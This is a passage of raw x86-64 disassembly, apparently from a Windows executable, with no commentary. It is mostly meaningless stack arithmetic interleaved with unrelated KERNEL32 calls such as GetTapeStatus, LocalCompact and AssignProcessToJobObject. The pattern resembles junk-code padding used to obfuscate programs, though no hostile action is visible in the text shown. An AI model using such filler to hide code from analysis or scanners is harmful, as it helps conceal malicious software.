mov dword [rsp + 0x20b8], eax
mov rcx, qword [rsp + 0x60d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x14018c188]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3f68]
mov qword [rsp + 0x6720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6720]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
lea rax, [rsp + 0x6168]
mov qword [0x14018c448], rax
mov rax, qword [rsp + 0x4490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xda0], ax
lea rax, [rsp + 0xd30]
mov qword [rsp + 0x6728], rax
mov rax, qword [rsp + 0x64e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x6110]
mov rcx, qword [rsp + 0x5c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2e30], rax
mov rax, qword [rsp + 0x4118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e0], al
lea rax, [rsp + 0x5c00]
mov qword [rsp + 0x6730], rax
mov eax, dword [rsp + 0x2174]
mov ecx, dword [rsp + 0x2088]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5fc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4430]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov word [rcx], ax
lea rax, [rsp + 0x61c]
mov qword [0x14018c450], rax
lea rax, [rsp + 0x4b98]
mov qword [rsp + 0x6738], rax
mov rax, qword [rsp + 0x4030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movzx eax, byte [rax]
mov byte [rsp + 0x1ee], al
mov rax, qword [rsp + 0x5ad0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fc0]
sar eax, cl
mov rcx, qword [rsp + 0x4c40]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [0x14018bdca]
sub eax, ecx
mov rcx, qword [rsp + 0x5e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x41e0]
mov rax, qword [rax]
mov qword [rsp + 0x6740], rax
mov eax, dword [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x1b14]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x62f8]
mov dword [rcx], eax
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x6748], rax
movzx eax, word [rsp + 0x764]
movzx ecx, word [rsp + 0xd7c]
shl eax, cl
mov rcx, qword [0x14018bf40]
mov word [rcx], ax
mov rax, qword [rsp + 0x51a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4878]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5540]
mov rcx, qword [rsp + 0x5230]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5cb8]
mov qword [rcx], rax
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x6750], rax
movzx eax, word [rsp + 0x5ec]
movzx ecx, word [rsp + 0xab4]
sar eax, cl
mov rcx, qword [rsp + 0x64c0]
mov word [rcx], ax
lea rax, [0x14018bdc6]
mov qword [rsp + 0x6758], rax
mov rax, qword [rsp + 0x4fc8]
mov rcx, qword [rsp + 0x4c60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3670], rax
mov eax, dword [rsp + 0x2110]
mov ecx, dword [rsp + 0x2068]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x4d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3618], rax
lea rax, [rsp + 0xd0c]
mov qword [0x14018c458], rax
movzx eax, word [rsp + 0x8e4]
mov rcx, qword [rsp + 0x6090]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4960]
mov word [rcx], ax
mov eax, dword [rsp + 0x20dc]
mov dword [rsp + 0x21a4], eax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x6588]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x1ae], al
lea rax, [rsp + 0x5828]
mov qword [rsp + 0x6760], rax
mov rax, qword [rsp + 0x47a8]
mov ecx, dword [rsp + 0x2164]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d4c], eax
mov rax, qword [rsp + 0x6758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c0]
sar eax, cl
mov byte [rsp + 0x1dd], al
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21a8], eax
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x6768], rax
mov rax, qword [rsp + 0x6568]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xdc4]
add eax, ecx
mov word [0x14018c2d8], ax
mov rax, qword [rsp + 0x5ea8]
mov rcx, qword [rsp + 0x5c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x34a0], rax
mov rax, qword [rsp + 0x5d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
shl eax, cl
mov rcx, qword [rsp + 0x5f28]
mov word [rcx], ax
movsx eax, word [rsp + 0x970]
mov rcx, qword [rsp + 0x4430]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9a8], ax
lea rax, [rsp + 0x2b68]
mov qword [rsp + 0x6770], rax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5530]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b1], al
lea rax, [rsp + 0x2fd8]
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x1f90]
mov rcx, qword [rsp + 0x40c0]
mov qword [rsp + 0x6780], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6780]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5db0]
mov dword [rcx], eax
mov edx, 0x11f8
mov rcx, qword [rsp + 0x58a0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x20d0], eax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x45c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x404], ax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x6078]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c128]
mov qword [rcx], rax
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x6788], rax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1c3]
and eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
lea rax, [rsp + 0xdb4]
mov qword [rsp + 0x6790], rax
movzx eax, word [0x14018bec8]
movzx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov rcx, qword [rsp + 0x4728]
mov word [rcx], ax
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0x6798], rax
movsx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0x6380]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x3bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov dword [rcx], eax
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0x67a0], rax
mov rax, qword [rsp + 0x62b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe30]
sar eax, cl
mov word [0x14018adb4], ax
mov rax, qword [rsp + 0x4878]
mov rcx, qword [0x14018be90]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4130]
mov qword [rcx], rax
lea rax, [rsp + 0x3368]
mov qword [rsp + 0x67a8], rax
mov rax, qword [0x14018bec0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fc8]
shl rax, cl
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xcc0]
or eax, ecx
mov word [rsp + 0xc6c], ax
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x67b0], rax
mov rax, qword [rsp + 0x56d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x67b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x5b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d7]
sub eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0x4df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2060]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4410]
mov dword [rcx], eax
lea rax, [rsp + 0x5c8]
mov qword [0x14018c460], rax
lea rax, [rsp + 0xd34]
mov qword [rsp + 0x67c0], rax
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0x92c]
sar eax, cl
mov rcx, qword [rsp + 0x62c0]
mov word [rcx], ax
lea rax, [rsp + 0x3250]
mov qword [rsp + 0x67c8], rax
mov rax, qword [rsp + 0x44d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x203c], eax
movsx eax, byte [rsp + 0x157]
mov rcx, qword [0x14018c2b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x45b0]
mov byte [rcx], al
lea rax, [rsp + 0x44f8]
mov qword [rsp + 0x67d0], rax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0xca8]
and eax, ecx
mov rcx, qword [rsp + 0x5448]
mov word [rcx], ax
lea rax, [rsp + 0xcfc]
mov qword [rsp + 0x67d8], rax
mov rax, qword [rsp + 0x5dc8]
mov rcx, qword [rsp + 0x5700]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c338]
mov qword [rcx], rax
movzx eax, word [rsp + 0x92c]
mov rcx, qword [rsp + 0x5e58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x994], ax
lea rax, [rsp + 0x4350]
mov qword [rsp + 0x67e0], rax
mov rax, qword [rsp + 0x4bf0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3820]
sar rax, cl
mov rcx, qword [rsp + 0x55e0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [rsp + 0x1c7]
shl eax, cl
mov rcx, qword [rsp + 0x5e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ef8]
mov qword [rsp + 0x67e8], rax
mov rax, qword [rsp + 0x63b0]
mov rcx, qword [rsp + 0x6530]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
lea rax, [rsp + 0x1ed]
mov qword [rsp + 0x67f0], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2114], eax
mov rax, qword [rsp + 0x5a08]
movzx eax, word [rax]
mov word [0x14018c468], ax
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xd3c]
add eax, ecx
mov rcx, qword [rsp + 0x4248]
mov word [rcx], ax
mov rax, qword [rsp + 0x4850]
movzx eax, word [rax]
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x6478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5db8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3cc], ax
lea rax, [rsp + 0x5098]
mov qword [rsp + 0x67f8], rax
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x207c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2050], eax
movsx eax, byte [rsp + 0x14e]
movsx ecx, byte [rsp + 0x64]
and eax, ecx
mov rcx, qword [rsp + 0x4290]
mov byte [rcx], al
lea rax, [rsp + 0xdac]
mov qword [rsp + 0x6800], rax
movzx eax, word [rsp + 0xc34]
movzx ecx, word [rsp + 0x3b4]
sar eax, cl
mov rcx, qword [rsp + 0x5b30]
mov word [rcx], ax
mov rax, qword [0x14018c3e0]
mov rcx, qword [rsp + 0x6110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018ad58], rax
mov rax, qword [rsp + 0x4cf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x39c8], rax
mov rax, qword [rsp + 0x41d8]
mov rcx, qword [rsp + 0x48f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f70]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5848]
mov qword [rcx], rax
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x6808], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1de0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2030], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x6810], rax
mov eax, dword [rsp + 0x217c]
movzx ecx, al
mov eax, dword [rsp + 0x1b28]
shl eax, cl
mov rcx, qword [rsp + 0x5468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ef], al
lea rax, [rsp + 0x5000]
mov qword [0x14018c470], rax
movsx eax, word [rsp + 0xdbc]
movsx ecx, word [rsp + 0xc98]
xor eax, ecx
mov word [rsp + 0xbb4], ax
mov rax, qword [rsp + 0x5340]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
or eax, ecx
mov rcx, qword [rsp + 0x52b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6698]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x5ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5228]
mov qword [rcx], rax
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x6818], rax
mov rax, qword [rsp + 0x6450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ff4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x43c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4140]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2114], eax
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x6820], rax
movzx eax, word [rsp + 0xcd8]
mov rcx, qword [rsp + 0x65d0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c038]
mov word [rcx], ax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x5288]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x6828], rax
mov rax, qword [rsp + 0x3e20]
mov ecx, dword [rsp + 0x1fc0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x202c], eax
movzx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x40f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4630]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov qword [rsp + 0x6830], rax
movsx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x4e10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x4008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1be0], eax
mov rcx, qword [rsp + 0x48c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xd3c]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x6250]
movzx eax, word [rax]
mov rcx, qword [0x14018be18]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018adb8], ax
lea rax, [rsp + 0x2ad0]
mov qword [rsp + 0x6838], rax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6440]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe00]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5498]
mov word [rcx], ax
lea rax, [rsp + 0x514]
mov qword [rsp + 0x6840], rax
mov rax, qword [rsp + 0x6278]
mov rcx, qword [rsp + 0x5970]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3e30]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rax, [rsp + 0x65c8]
mov qword [rsp + 0x6848], rax
mov rax, qword [0x14018c020]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b8]
add eax, ecx
mov byte [rsp + 0x1ef], al
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [rsp + 0x67a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6268]
mov qword [rcx], rax
movsx eax, word [rsp + 0xdbc]
movsx ecx, word [0x14018c468]
add eax, ecx
mov rcx, qword [0x14018c1d0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov word [rsp + 0xe60], ax
movzx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x6850], rax
mov rax, qword [rsp + 0x5700]
mov rcx, qword [rsp + 0x3098]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x2d08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
movzx eax, byte [0x14018bdcb]
mov byte [rsp + 0x1f0], al
mov r9d, 0xb6f
xor r8d, r8d
lea rdx, [rsp + 0x63e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x21ac], eax
mov rax, qword [rsp + 0x61c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5be0]
mov qword [rsp + 0x6858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6858]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x59d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5de8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x658], ax
movzx eax, word [0x14018ad4c]
mov word [0x14018c478], ax
mov rax, qword [rsp + 0x57d0]
mov rcx, qword [rsp + 0x5308]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5d20]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xd58]
sar eax, cl
mov word [rsp + 0x67c], ax
movzx eax, word [rsp + 0xc90]
mov word [rsp + 0xe64], ax
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3880]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53d0]
mov qword [rcx], rax
mov rax, qword [0x14018be48]
mov rcx, qword [rsp + 0x5098]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3580], rax
mov rax, qword [rsp + 0x4368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0x6860], rax
mov rax, qword [rsp + 0x4ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5100]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x39a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x64b8]
mov byte [rcx], al
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x6868], rax
movsx eax, word [rsp + 0x3ac]
movsx ecx, word [rsp + 0xd24]
sar eax, cl
mov word [rsp + 0xca0], ax
lea rax, [rsp + 0xdf8]
mov qword [rsp + 0x6870], rax
mov rax, qword [rsp + 0x5748]
mov rcx, qword [0x14018bfa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20bc], eax
mov rax, qword [rsp + 0x2b40]
mov rcx, qword [rsp + 0x3fc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x43d8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x6878], rax
mov rax, qword [0x14018be00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3f8]
and eax, ecx
mov rcx, qword [rsp + 0x4348]
mov word [rcx], ax
lea rax, [rsp + 0xd60]
mov qword [0x14018c480], rax
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0x6880], rax
mov rax, qword [0x14018c248]
movzx ecx, al
mov rax, qword [rsp + 0x44d8]
shl rax, cl
mov rcx, qword [rsp + 0x6738]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ed0]
mov rcx, qword [rsp + 0x4108]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3f78], rax
lea rax, [rsp + 0x958]
mov qword [rsp + 0x6888], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2104], eax
mov rax, qword [rsp + 0x44d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6040]
mov dword [rcx], eax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x6890], rax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x6098]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x61f8]
mov qword [rcx], rax
lea rax, [rsp + 0x177]
mov qword [rsp + 0x6898], rax
mov eax, dword [rsp + 0x1fd0]
movzx ecx, al
mov eax, dword [rsp + 0x1e50]
sar eax, cl
mov rcx, qword [rsp + 0x5a40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd84]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018ad44], ax
mov rax, qword [rsp + 0x57a8]
movzx eax, word [rax]
mov rcx, qword [0x14018c060]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57e0]
mov word [rcx], ax
lea rax, [rsp + 0xd80]
mov qword [rsp + 0x68a0], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4610]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x68a8], rax
mov rax, qword [rsp + 0x4720]
mov rcx, qword [rsp + 0x5768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bb]
sar eax, cl
mov byte [rsp + 0x109], al
lea rax, [rsp + 0x554]
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x65d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x660]
and eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ff8]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf30]
mov qword [rcx], rax
lea rax, [0x14018c398]
mov qword [rsp + 0x68b8], rax
mov rax, qword [rsp + 0x6880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c00]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x65c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x5df8]
mov qword [rsp + 0x68c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2ad0], rax
lea rax, [0x14018ada0]
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5970]
mov dword [rcx], eax
lea rax, [rsp + 0x216c]
mov qword [rsp + 0x68d0], rax
mov rax, qword [rsp + 0x6588]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1df]
add eax, ecx
mov rcx, qword [rsp + 0x4b58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1f0]
movsx ecx, byte [rsp + 0x1b9]
and eax, ecx
mov rcx, qword [rsp + 0x49b0]
mov byte [rcx], al
lea rax, [rsp + 0xd0c]
mov qword [0x14018c488], rax
lea rax, [0x14018ad44]
mov qword [rsp + 0x68d8], rax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x55b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x61c], ax
lea rax, [rsp + 0xd54]
mov qword [rsp + 0x68e0], rax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x2184]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1be0], eax
mov rax, qword [rsp + 0x38e0]
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x6380]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5198]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5588]
mov byte [rcx], al
mov r9d, 0x1632
xor r8d, r8d
lea rdx, [rsp + 0x3aa0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x4298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
and eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x4948]
movzx eax, word [rax]
mov word [rsp + 0xe68], ax
mov rax, qword [rsp + 0x3f50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5aa8]
and rcx, rax
mov rax, rcx
mov qword [0x14018adc0], rax
mov rax, qword [rsp + 0x4560]
mov rcx, qword [rsp + 0x41d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x49d0]
mov qword [rcx], rax
lea rax, [rsp + 0x5a58]
mov qword [rsp + 0x68f0], rax
mov rax, qword [rsp + 0x4958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4130]
mov qword [rsp + 0x68f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68f8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
movzx eax, word [0x14018c2c0]
mov rcx, qword [rsp + 0x4a48]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov eax, dword [rsp + 0x20d4]
